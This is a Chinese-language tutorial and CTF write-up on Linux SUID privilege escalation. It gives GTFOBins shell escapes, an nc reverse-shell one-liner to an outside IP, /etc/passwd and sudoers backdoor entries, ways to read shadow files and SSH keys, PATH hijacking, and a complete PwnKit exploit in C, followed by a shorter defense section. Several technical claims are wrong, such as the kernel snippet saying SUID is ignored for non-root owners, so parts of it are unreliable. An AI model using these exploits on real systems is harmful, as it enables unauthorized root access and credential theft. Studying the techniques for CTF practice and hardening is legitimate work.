SUID提权

SUID(Set User ID upon execution)是Linux文件权限的一种特殊标志位。

常规权限:当我们运行一个程序(例如ls)时,该程序是继承当前用户的权限来运行的。

SUID权限:当一个程序被设置了SUID位,无论谁运行它,该程序都会以文件所有者(通常是root)的权限运行。

在ls -l的输出中,如果文件所有者的执行权限位是s而不是x,说明它设置了SUID。

ls -l /usr/bin/passwd
# 输出示例:
# -rwsr-xr-x 1 root root 68208 May 28 14:00 /usr/bin/passwd
#    ^ 注意这里的 s

一、Linux权限系统基础

1.1 文件权限模型

Linux采用传统的UNIX权限模型,每个文件都有三组权限标识:

- [rwx][rwx][rwx]
  ^   ^   ^
  |   |   └─ 其他用户 (Others)
  |   └───── 所属组 (Group)
  └──────── 文件所有者 (Owner)

每个权限位对应:

  • r (read, 4):读取权限
  • w (write, 2):写入权限
  • x (execute, 1):执行权限

关键点:权限检查的执行顺序是 Owner → Group → Others,一旦匹配就不再继续检查。

1.2 进程的权限继承机制

普通情况下,当你执行一个程序时:

$ whoami
alice
$ ls -l /bin/ls
-rwxr-xr-x 1 root root ... /bin/ls
$ /bin/ls
# 此时 ls 进程以 alice 的身份运行

新进程会继承调用者的:

  • Real UID (RUID):真实用户ID,即发起进程的用户
  • Real GID (RGID):真实组ID
  • Effective UID (EUID):有效用户ID,用于权限检查
  • Effective GID (EGID):有效组ID,用于权限检查

通常情况下 RUID = EUID,所有权限检查基于 EUID 进行。

1.3 SUID的特殊机制

SUID (Set User ID) 是一种特殊的文件权限位,位于用户执行权限位的位置:

# 普通执行权限
-rwxr-xr-x
 ↑
 x = execute

# SUID权限
-rwsr-xr-x
 ↑
 s = SUID(如果本该有x位)
 S = SUID(如果本该没有x位,表示权限矛盾)

当程序设置了SUID位后,执行时的权限继承机制发生变化:

$ whoami
alice
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root ... /usr/bin/passwd
$ /usr/bin/passwd
# 此时 passwd 进程:
# RUID = alice (你依然是alice)
# EUID = root (但权限检查时认为你是root)

EUID 变成了文件所有者的用户ID!这就是SUID的核心魔法。

1.4 为什么需要SUID?

这是Linux权限模型中的一个经典矛盾场景:

问题:普通用户需要修改自己的密码

  • 密码哈希存储在 /etc/shadow
  • /etc/shadow 只有 root 有读写权限
  • 普通用户无法直接修改

解决方案:通过SUID让passwd程序临时拥有root权限

$ ls -l /etc/shadow
-rw------- 1 root shadow ... /etc/shadow
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root ... /usr/bin/passwd

当alice运行passwd时:

  1. passwd进程的 EUID 变为 root
  2. passwd可以读写 /etc/shadow
  3. passwd在代码中严格验证:只能修改alice自己的密码
  4. 修改完成后退出

设计哲学:给程序必要的特权,但通过代码逻辑限制特权的使用范围。

1.5 相关的特殊权限位

除了SUID,Linux还有两个相关的特殊权限位:

SGID (Set Group ID)

-rwxr-sr-x
      ↑
      s = SGID
  • 作用类似SUID,但是针对组ID
  • 执行时进程的 EGID 变为文件所属组
  • 常用于协作目录:在该目录创建的文件自动继承目录的组

Sticky Bit

drwxrwxrwt
          ↑
          t = sticky bit
  • 只对目录有效
  • 即使用户有写权限,也只能删除自己拥有的文件
  • 典型应用:/tmp 目录

1.6 赋予SUID权限操作

在linux中可以通过以下命令为文件赋予SUID命令。

# 1. 确保 cp 和 find 命令属于 root
sudo chown root:root /usr/bin/find
sudo chown root:root /usr/bin/cp
sudo chown root:root /usr/bin/vim

# 2. 赋予 SUID 权限
sudo chmod u+s /usr/bin/find
sudo chmod u+s /usr/bin/cp
sudo chmod u+s /usr/bin/vim

# 3. 验证一下
ls -l /usr/bin/find
# 输出应该包含 -rwsr-xr-x,那个 's' 就是关键

想去除SUID权限也很简单,u+s改成u-s即可。

二、SUID的工作原理深入

2.1 内核层面的实现

当内核执行一个程序时(execve系统调用),会进行以下检查:

// 简化的内核代码逻辑
if (inode->i_mode & S_ISUID) {
    // 文件设置了SUID位
    if (inode->i_uid != 0) {
        // 所有者不是root,忽略SUID(安全机制)
    } else {
        // 将新进程的EUID设置为文件所有者的UID
        bprm->cred->euid = inode->i_uid;
    }
}

2.2 安全机制:SUID的几个限制

Linux对SUID做了几个重要的安全限制:

1. 脚本不能设置SUID

$ cat test.sh
#!/bin/bash
whoami

$ chmod u+s test.sh
$ ls -l test.sh
-rwsr-xr-x 1 root root ... test.sh

$ ./test.sh
# 输出:alice(而不是root!)

原因:脚本需要解释器(bash/python等)执行,SUID位作用于解释器进程,而不是脚本内容。现代Linux内核直接忽略脚本的SUID位。

绕过方法:通过C wrapper程序调用脚本

// wrapper.c
#include <unistd.h>

int main() {
    system("/path/to/test.sh");
    return 0;
}
gcc wrapper.c -o wrapper
chown root wrapper
chmod u+s wrapper

2. 动态链接库的搜索路径

SUID程序会忽略某些环境变量:

  • LD_LIBRARY_PATH:动态库搜索路径
  • LD_PRELOAD:预加载的动态库

这是为了防止通过恶意库劫持SUID程序。

3. 环境变量清理

SUID程序会清理不安全的环境变量:

  • IFS:字段分隔符
  • PATH:可能被重定向

三、SUID提权的攻击面

3.1 攻击原理总览

如果一个SUID程序存在以下问题,可能被利用:

攻击类型

原理

典型场景

Shell逃逸

程序能启动shell

vim, find, less, python等

环境变量劫持

程序调用命令时未用绝对路径

自定义SUID程序

文件操作

程序能读写任意文件

cp, mv, wget等

漏洞利用

程序本身存在漏洞

pkexec CVE-2021-4034

配置错误

程序配置不当

错误的SUID设置

3.2 寻找SUID文件的方法

方法1:基本查找

find / -perm -u=s -type f 2>/dev/null
  • -perm -u=s:权限模式包含SUID位
  • -type f:只查找文件
  • 2>/dev/null:忽略错误输出

方法2:排除干扰路径

find / -path /proc -prune -o -perm -u=s -type f -print

排除 /proc 等特殊文件系统,减少噪音。

方法3:使用locate(如果有数据库)

locate -i '\.so'  # 先找SUID的共享库

方法4:常见SUID程序列表

系统自带的SUID程序通常包括:

/usr/bin/passwd        # 修改密码
/usr/bin/sudo          # 以其他用户执行命令
/usr/bin/su            # 切换用户
/usr/bin/ping          # ICMP ping(需要raw socket)
/usr/bin/newgrp        # 切换组
/usr/bin/chsh          # 修改登录shell
/usr/bin/chfn          # 修改finger信息
/usr/bin/gpasswd       # 修改组密码
/usr/bin/at            # 任务调度

这些通常是安全的,但以下程序如果设置SUID就很可疑:

/usr/bin/find          # 文件查找
/usr/bin/vim           # 文本编辑器
/usr/bin/nano          # 文本编辑器
/usr/bin/less          # 分页器
/usr/bin/more          # 分页器
/usr/bin/wget          # 下载工具
/usr/bin/cp            # 文件复制
/usr/bin/mv            # 文件移动
/usr/bin/cat           # 查看文件
/usr/bin/python        # Python解释器
/usr/bin/perl          # Perl解释器
/usr/bin/ruby          # Ruby解释器
/usr/bin/awk           # 文本处理
/usr/bin/ed            # 文本编辑器

四、SUID提权实战方法

4.1 GTFOBins:Shell逃逸

GTFOBins (https://gtfobins.github.io/) 是一个收录Unix二进制文件滥用方法的数据库,是SUID提权的必备参考。

4.1.1 find命令

原理:find的 -exec 参数可以执行命令

find . -exec /bin/sh -p \; -quit

详细解析:

  • .:当前目录
  • -exec ... \;:对每个找到的文件执行命令
  • /bin/sh -p:启动shell,-p 保持特权(不重置EUID)
  • -quit:执行一次后退出

变体方法:

# 方法1:使用空目录避免输出
find / -exec /bin/sh -p \; -quit

# 方法2:使用-iname匹配特定文件
find / -iname "xyz" -exec /bin/sh -p \; -quit

# 方法3:使用nc反弹shell
find . -exec nc -e /bin/sh 192.168.1.100 4444 \; -quit

实战示例:

$ ls -l /usr/bin/find
-rwsr-xr-x 1 root root ... /usr/bin/find

$ whoami
alice

$ find . -exec /bin/sh -p \; -quit
# whoami
root
# id
uid=1000(alice) gid=1000(alice) euid=0(root) egid=0(root)

注意到 euid=0(root),这就是提权的证明。

4.1.2 vim/vi/nano

原理:这些编辑器都允许在编辑时执行外部命令

vim方法1:直接调用

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

vim方法2:交互模式

$ vim
# 在vim中输入:
:shell
# 或者
:!bash -p

vim方法3:编辑模式(更可靠)

如果Python被禁用或报错,可以用vim的原始用途——编辑文件:

# 目标:添加一个无密码的root账户
/usr/bin/vim.basic /etc/passwd

在vim中:

  1. 按 G 跳到文件末尾
  2. 按 o 在下方新建一行
  3. 输入:
hacker::0:0:hacker:/root:/bin/bash
  1. 按 ESC 退出编辑模式
  2. 输入 :wq! 强制保存退出

/etc/passwd格式详解:

username:password:UID:GID:gecos:directory:shell
    ↑       ↑       ↑   ↑    ↑      ↑         ↑
    │       │       │   │    │      │         └─ 登录shell
    │       │       │   │    │      └─────────── 家目录
    │       │       │   │    └──────────────── 用户描述
    │       │       │   └──────────────────── 主组ID (0=root组)
    │       │       └──────────────────────── 用户ID (0=root)
    │       └───────────────────────────────── 密码(x表示在shadow中,空表示无密码)
    └───────────────────────────────────────── 用户名

验证:

$ su hacker
# whoami
root

nano方法:

nano /etc/passwd
# 添加同样的行
# Ctrl+O 保存,Ctrl+X 退出

4.1.3 less/more

原理:分页器允许在查看时执行命令

$ less /etc/passwd
# 在less中输入:
!/bin/sh -p

或者:

$ less /etc/passwd
# 按 'v' 进入编辑模式(调用vim)
# 然后用vim的方法

4.1.4 bash/dash

bash直接提权:

bash -p

-p 参数的作用:

  • 不重置 EUID 为 RUID
  • 保持从父进程继承的特权

如果bash没有SUID但sh有:

# sh通常指向bash或dash
/bin/sh -p

4.1.5 编程语言解释器

Python:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

或者交互式:

python
>>> import os
>>> os.execl("/bin/sh", "sh", "-p")

Python更完整的payload:

python -c 'import pty; pty.spawn("/bin/sh")'

Perl:

perl -e 'exec "/bin/sh -p";'

Ruby:

ruby -e 'exec "/bin/sh -p"'

4.1.6 awk

awk 'BEGIN {system("/bin/sh -p")}'

或者利用awk的管道功能:

awk 'BEGIN {while (1) {system("/bin/sh -p"); exit}}'

4.1.7 base64

原理:base64可以读取文件,配合命令替换可以获取内容

# 读取 /etc/shadow
LFILE=/etc/shadow
base64 "$LFILE" | base64 --decode

更实用的场景:在CTF中,base64可能被用来绕过某些过滤:

# 如果不能直接cat
cat /etc/shadow  # 被过滤

# 可以用base64编码后再查看
base64 /etc/shadow
# 然后本地解码

在去年的强网杯线上的ezphp一题中,最后就是用的这种方式提权。

4.1.8 sed

sed -n '1p; e /bin/sh -p' /etc/hosts

e 命令允许sed执行外部命令。

4.1.9 tar

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh -p

原理:tar的checkpoint功能允许在处理指定数量文件后执行命令。

4.1.10 nmap

老版本的nmap有interactive模式:

nmap --interactive
!sh

注意:新版本nmap移除了这个功能。

4.2 环境变量劫持

4.2.1 基本原理

当一个SUID程序调用系统命令时,如果没有使用绝对路径,就会依赖 PATH 环境变量查找命令。

vulnerable.c:

#include <stdlib.h>
#include <stdio.h>

int main() {
    // 危险:没有指定绝对路径
    system("ps");  // 或其他命令
    return 0;
}

编译并设置SUID:

gcc vulnerable.c -o vulnerable
sudo chown root vulnerable
sudo chmod u+s vulnerable

4.2.2 利用步骤

步骤1:编写恶意程序

cd /tmp
cat > ps <<EOF
#!/bin/bash
/bin/bash -p
EOF
chmod +x ps

步骤2:劫持PATH

export PATH=/tmp:$PATH

步骤3:触发

./vulnerable
# whoami
root

4.2.3 劫持函数

除了命令,还可以劫持shell函数:

bash_pid() {
    /bin/bash -p;
}
export -f bash_pid

# 如果程序调用了 bash_pid

4.2.4 更多可劫持的环境变量

环境变量

用途

劫持效果

PATH

命令查找路径

执行恶意程序

IFS

字段分隔符

分割命令参数

LD_LIBRARY_PATH

动态库搜索路径

加载恶意库(通常被保护)

LD_PRELOAD

预加载库

加载恶意库(通常被保护)

4.3 文件操作利用

4.3.1 cp/mv覆盖/etc/passwd

cp的利用:

# 1. 准备恶意passwd条目
echo 'hacker::0:0:root:/root:/bin/bash' > /tmp/passwd_evil

# 2. 备份原文件(可选)
/usr/bin/cp /etc/passwd /tmp/passwd.bak

# 3. 覆盖
/usr/bin/cp /tmp/passwd_evil /etc/passwd

# 4. 登录
su hacker

更隐蔽的方法:追加而不是覆盖

# 1. 获取原有内容
/usr/bin/cp /etc/passwd /tmp/passwd_original

# 2. 添加新用户
echo 'hacker::0:0:hacker:/root:/bin/bash' >> /tmp/passwd_original

# 3. 写回
/usr/bin/cp /tmp/passwd_original /etc/passwd

4.3.2 直接修改/etc/shadow(高危)

注意:这需要知道密码哈希的生成方法。

生成密码哈希:

# 方法1:使用openssl
openssl passwd -1 -salt hacker password123
# 输出:$1$hacker$...

# 方法2:使用python
python3 -c 'import crypt; print(crypt.crypt("password123", crypt.mksalt(crypt.METHOD_SHA512)))'

# 方法3:使用mkpasswd(需要whois包)
mkpasswd -m sha-512 password123

构造shadow条目:

hacker:$6$hacker$YQDv...:18532:0:99999:7:::

格式:

username:password:last_change:min_age:max_age:warning:inactive:expire
   ↑        ↑         ↑          ↑        ↑        ↑        ↑      ↑
   │        │         │          │        │        │        │      └─ 账户过期日期
   │        │         │          │        │        │        └──────── 非活动期限
   │        │         │          │        │        └────────── 过期警告天数
   │        │         │          │        └────────────────── 密码最大有效期
   │        │         │          └─────────────────────────── 密码最小使用期
   │        │         └───────────────────────────────────── 上次修改日期(从1970-01-01起)
   │        └─────────────────────────────────────────────── 密码哈希
   └─────────────────────────────────────────────────────── 用户名

注意:直接修改shadow比较危险,建议修改/etc/passwd并留空密码字段。

4.3.3 读取敏感文件

如果SUID程序是文件读取类的(如cat, less, more):

# 读取shadow
/usr/bin/cat /etc/shadow > /tmp/shadow_leak

# 读取ssh密钥
/usr/bin/cat /root/.ssh/id_rsa

# 读取数据库配置
/usr/bin/cat /var/www/config.php

4.3.4 sudoers文件

如果有写权限,可以添加sudo规则:

echo 'hacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

注意:这需要很小心,/etc/sudoers语法错误会导致sudo完全失效。

4.4 CVE漏洞利用

CVE-2021-4034 (PwnKit)

漏洞概述:

  • 影响范围:Polkit的pkexec组件
  • 漏洞类型:本地权限提升
  • CVSS评分:7.8(HIGH)
  • 存在时间:12年未被发现(2009-2021)

漏洞原理:

pkexec在设计时假设:

  1. argv[0] 绝对路径总是有效的
  2. 环境变量由调用者完全控制

但实际实现中:

  1. 没有验证argv[0]的有效性
  2. 在处理GCONV_PATH等环境变量时存在逻辑漏洞

检测漏洞:

# 检查pkexec版本
pkexec --version

# 检查是否存在
which pkexec
find / -name pkexec -perm -u=s 2>/dev/null

完整利用代码(exp.c):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 要注入的payload
char *shell =
    "#include <stdio.h>\n"
    "#include <stdlib.h>\n"
    "#include <unistd.h>\n"
    "#include <sys/stat.h>\n"
    "void gconv() {}\n"
    "void gconv_init() {\n"
    "    setuid(0); setgid(0);\n"
    "    seteuid(0); setegid(0);\n"
    "    system(\"chmod 777 /flag\");\n"  // 修改文件权限
    // 或者:system(\"/bin/bash -p\");  // 启动shell
    "}";

int main(int argc, char *argv[]) {
    FILE *fp;

    // 1. 创建GCONV_PATH目录结构
    system("mkdir -p 'GCONV_PATH=.'");
    system("touch 'GCONV_PATH=./pwnkit'");
    system("chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit");

    // 2. 生成gconv-modules配置文件
    fp = fopen("pwnkit/gconv-modules", "w");
    fprintf(fp, "module  UTF-8//    PWNKIT//    pwnkit    2\n");
    fclose(fp);

    // 3. 生成payload源码
    fp = fopen("pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);

    // 4. 编译为共享库
    system("gcc pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");

    // 5. 设置环境变量并触发漏洞
    char *env[] = {
        "pwnkit",
        "PATH=GCONV_PATH=.",
        "CHARSET=PWNKIT",
        "SHELL=pwnkit",
        NULL
    };

    // 调用pkexec触发漏洞
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);

    return 0;
}

使用步骤:

# 1. 将exp.c上传到目标/tmp目录

# 2. 编译
gcc exp.c -o exp

# 3. 执行
./exp

# 4. 查看结果
ls -l /flag  # 权限应该已改变
cat /flag

漏洞利用流程分析:

  1. 环境准备:创建特殊的目录结构 GCONV_PATH=.
  2. 配置文件:生成gconv-modules,告诉系统使用我们自定义的字符集转换模块
  3. Payload编译:将恶意代码编译为共享库
  4. 触发漏洞:通过精心构造的环境变量让pkexec加载我们的共享库
  5. 执行代码:共享库的 gconv_init() 函数在加载时自动执行,此时已经是root权限

防护措施:

# 检查系统是否受影响
check_exploitable=$(pkexec --version 2>&1 | grep -o 'version 0.11[0-3]')

# 如果受影响,立即更新
sudo apt update && sudo apt upgrade polkit
例题

禁用JS可以上传shell,蚁剑连接。打开之后发现所有目录不可读

打开终端,查看根目录权限,发现flag文件只有root可读

猜测提权,查找SUID权限文件

发现有一个

/opt/polkit-0.105/src/programs/.libs/pkexec

这是一个允许授权用户以其他用户(通常是 root)身份执行命令的程序。系统自带的 pkexec 通常在 /usr/bin/ 下。这里它出现在 /opt 下的源码编译目录中,说明这是出题人特意为我们准备的利用点。

tmp目录可写,我们进入tmp目录下写利用文件。

首先创建一个空白文件exp.c,写入

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 注入的 Payload
char *shell = 
    "#include <stdio.h>\n"
    "#include <stdlib.h>\n"
    "#include <unistd.h>\n"
    "#include <sys/stat.h>\n\n" // 引入 stat 头文件
    "void gconv() {}\n"
    "void gconv_init() {\n"
    "    setuid(0); setgid(0);\n"
    "    seteuid(0); setegid(0);\n"
    "    chmod(\"/flag\", 0777);\n" // 直接调用C语言的chmod函数,无需查找PATH\n
    "}";

int main(int argc, char *argv[]) {
    FILE *fp;
    
    // 1. 搭建利用环境
    system("mkdir -p GCONV_PATH=.");
    system("touch GCONV_PATH=./pwnkit");
    system("chmod a+x GCONV_PATH=./pwnkit");
    system("mkdir -p pwnkit");
    
    // 2. 生成配置文件
    fp = fopen("pwnkit/gconv-modules", "w");
    fprintf(fp, "module UTF-8// PWNKIT// pwnkit 2\n");
    fclose(fp);
    
    // 3. 生成 Payload 源码
    fp = fopen("pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);
    
    // 4. 编译成共享库
    system("gcc pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    
    // 5. 触发漏洞
    // 注意:这里的 PATH 被我们强制改写了,所以前面的 system("chmod") 必须改成 C函数调用
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("/opt/polkit-0.105/src/programs/.libs/pkexec", (char*[]){NULL}, env);
}

保存,终端执行编译

gcc exp.c -o exp

运行

./exp

这时flag的权限应该已经变成777了,我们执行cat /flag即可。

其他常见SUID相关CVE

CVE

影响程序

描述

CVE-2019-14287

sudo

sudo特定配置可绕过

CVE-2022-0847

kernel

Dirty Pipe,可修改SUID文件

CVE-2016-5195

kernel

Dirty COW,可修改只读文件

4.5 其他利用技巧

4.5.1 strace/ltrace调试

如果SUID程序调用外部命令,可以用strace追踪:

strace -e trace=execve ./suid_program 2>&1 | grep execve

查看程序执行了哪些命令,寻找可劫持的点。

4.5.2 逆向工程

对于自定义的SUID程序:

# 查看字符串
strings /path/to/suid_program

# 反汇编
objdump -d /path/to/suid_program | less

# 使用Ghidra/IDA Pro进行深入分析

寻找:

  • system() 调用
  • popen() 调用
  • 文件操作函数
  • 环境变量使用

4.5.3 符号链接劫持

如果程序检查文件权限但之后通过路径访问:

# 创建指向/etc/shadow的符号链接
ln -s /etc/shadow /tmp/harmless_file

# 如果程序先检查/tmp/harmless_file的权限
# 然后通过另一个路径或符号链访问,可能绕过检查

4.5.4 竞态条件

# 在程序检查文件和使用文件之间快速替换
while true; do
    ln -sf /tmp/goodfile /tmp/link
    ln -sf /etc/shadow /tmp/link
done

五、CTF中的实战案例

5.1 案例1:基础SUID提权

场景:获得低权限shell,发现find有SUID

$ ls -l /usr/bin/find
-rwsr-xr-x 1 root root ...

$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/find
...

$ find . -exec /bin/sh -p \; -quit
# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)

# cat /flag
flag{...}

5.2 案例2:环境变量劫持

场景:发现可疑的自定义SUID程序

$ ls -l /home/user/check_file
-rwsr-xr-x 1 root root ... /home/user/check_file

$ strings check_file
...
system("ps aux | grep daemon")
...

$ cd /tmp
$ cat > ps <<EOF
#!/bin/bash
/bin/bash -p
EOF
$ chmod +x ps
$ export PATH=/tmp:$PATH
$ /home/user/check_file
# whoami
root

5.3 案例3:PolarD&N(PwnKit)

场景:上传webshell,发现pkexec在非标准路径

$ find / -perm -u=s -type f 2>/dev/null
...
/opt/polkit-0.105/src/programs/.libs/pkexec
...

$ ls -l /flag
-r-------- 1 root root ... /flag

# 上传exp.c并编译执行
$ gcc exp.c -o exp
$ ./exp
$ ls -l /flag
-rwxrwxrwx 1 root root ... /flag
$ cat /flag
flag{pwnkit_success}

5.4 案例4:Vim编辑器提权

场景:vim.basic有SUID

$ /usr/bin/vim.basic /etc/passwd
# 在vim中:
# 按 G 跳到末尾
# 按 o 新建一行
# 输入:test::0:0:test:/root:/bin/bash
# ESC,:wq! 退出

$ su test
# whoami
root

六、防御与检测

6.1 防御措施

1. 最小化SUID使用

# 定期检查SUID文件
find / -perm -u=s -type f -exec ls -l {} \; > /root/suid_audit.log

2. 移除不必要的SUID位

# 如果find不需要SUID
sudo chmod u-s /usr/bin/find

# 如果需要临时使用,用完即删
sudo chmod u+s /usr/bin/find
# ... 使用 ...
sudo chmod u-s /usr/bin/find

3. 使用capabilities替代SUID

Linux capabilities提供更细粒度的权限控制:

# 与其给ping完整的root权限,不如只给它需要的
sudo setcap cap_net_raw+ep /bin/ping

4. 文件完整性监控

使用AIDE(Advanced Intrusion Detection Environment):

# 初始化数据库
sudo aide --init
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# 定期检查
sudo aide --check

5. 限制SUID程序的创建

# 设置mount选项
# /etc/fstab
/home  /home  ext4  defaults,nosuid  0  2

6. 用户空间监控

使用auditd监控系统调用:

# 监控SUID相关系统调用
auditctl -a exit,always -F arch=b64 -S execve -F uid=0

6.2 检测方法

1. 自动化检测脚本

#!/bin/bash
# suid_audit.sh

echo "[*] Scanning for SUID files..."
find / -perm -u=s -type f 2>/dev/null | while read file; do
    owner=$(stat -c "%U" "$file")
    echo "[+] Found: $file (owner: $owner)"
done

echo ""
echo "[*] Checking for unusual SUID files..."
# GTFOBins中的可疑程序列表
suspicious="find vim nano less more cp mv cat python perl ruby"
for prog in $suspicious; do
    if [ -u "/usr/bin/$prog" ]; then
        echo "[!] Suspicious SUID: /usr/bin/$prog"
    fi
done

2. 使用LinEnum.sh

# 下载并运行
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

3. 使用Linux Exploit Suggester

# 检测内核漏洞和提权向量
./linux-exploit-suggester.sh

4. 日志分析

# 监控SUID文件的变化
grep "chmod.*u+s" /var/log/auth.log

# 监控可疑的文件访问
grep "/etc/shadow" /var/log/auth.log

6.3 安全编码实践

如果你需要编写SUID程序,必须遵循以下原则:

// bad_suid.c - 错误示例
#include <stdlib.h>

int main() {
    // 错误1:直接使用用户输入
    char user_input[256];
    scanf("%255s", user_input);

    // 错误2:没有绝对路径
    system(user_input);

    // 错误3:不检查返回值
    return 0;
}
// good_suid.c - 正确示例
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <string.h>

// 原则1:使用白名单验证输入
int is_valid_user(const char *username) {
    // 只允许字母数字
    for (int i = 0; username[i]; i++) {
        if (!isalnum(username[i])) {
            return 0;
        }
    }
    return 1;
}

// 原则2:使用绝对路径
void safe_system_call(const char *command) {
    // 使用execl而不是system
    execl("/bin/sh", "sh", "-c", command, NULL);
    perror("execl failed");
}

// 原则3:最小权限原则
int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <username>\n", argv[0]);
        return 1;
    }

    // 验证输入
    if (!is_valid_user(argv[1])) {
        fprintf(stderr, "Invalid username\n");
        return 1;
    }

    // 使用绝对路径
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "/usr/bin/id %s", argv[1]);

    // 检查是否以root运行
    if (geteuid() != 0) {
        fprintf(stderr, "Must run as root or with SUID\n");
        return 1;
    }

    // 执行命令
    safe_system_call(cmd);

    return 0;
}

七、进阶技巧

7.1 绕过受限shell

如果shell是受限的(rbash),可以:

# 方法1:使用SUID程序突破
vim -c ':shell'

# 方法2:通过环境变量
export PATH=/bin:/usr/bin:$PATH
bash

# 方法3:利用ED编辑器
ed
!/bin/sh

7.2 内核漏洞辅助SUID

如果SUID提权失败,可以结合内核漏洞:

# 1. 收集系统信息
uname -a
cat /proc/version
lsb_release -a

# 2. 搜索对应漏洞
searchsploit linux kernel 4.4

# 3. 编译并执行exp
gcc exp.c -o exp
./exp

7.3 自动化提权工具

LinPEAS:

./linpeas.sh
# 会自动检测:
# - SUID文件
# - 内核漏洞
# - 配置错误
# - 密码泄露

GTFOBins自动查询:

# 检查某个命令是否可以利用SUID
function check_suid_bin() {
    local bin=$1
    if [ -u "/usr/bin/$bin" ]; then
        echo "[+] $bin has SUID!"
        echo "    Check: https://gtfobins.github.io/gtfobins/$bin/"
    fi
}

for bin in find vim nano less more cat cp mv; do
    check_suid_bin $bin
done

参考文章